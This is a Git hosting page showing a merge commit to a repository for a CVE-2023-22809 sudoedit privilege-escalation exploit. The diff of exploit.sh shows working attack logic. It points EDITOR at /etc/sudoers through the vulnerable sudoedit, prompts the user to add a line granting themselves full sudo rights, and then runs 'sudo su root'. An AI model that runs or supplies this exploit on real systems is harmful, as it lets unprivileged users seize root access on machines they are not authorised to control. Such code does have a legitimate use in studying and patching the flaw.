n3m1sys/CVE-2023-22809-sudoedit-privesc
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #2 from alpheratz0/patch-12

Browse Source 
Fix "proceed anyway?" prompt
This commit is contained in:
Martín
2023-02-15 19:10:53 +01:00
committed by GitHub
parent 26ce1999d3 2b16eb6222
commit 2cf4e816af
1 changed files with 7 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files

3
exploit.sh
View File

@@ -31,11 +31,12 @@ if [ -z "$EXPLOITABLE" ]; then
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else else
echo "> BINGO! User exploitable" echo "> BINGO! User exploitable"
fi
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL" echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..." read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root sudo su root
exit 0 exit 0
fi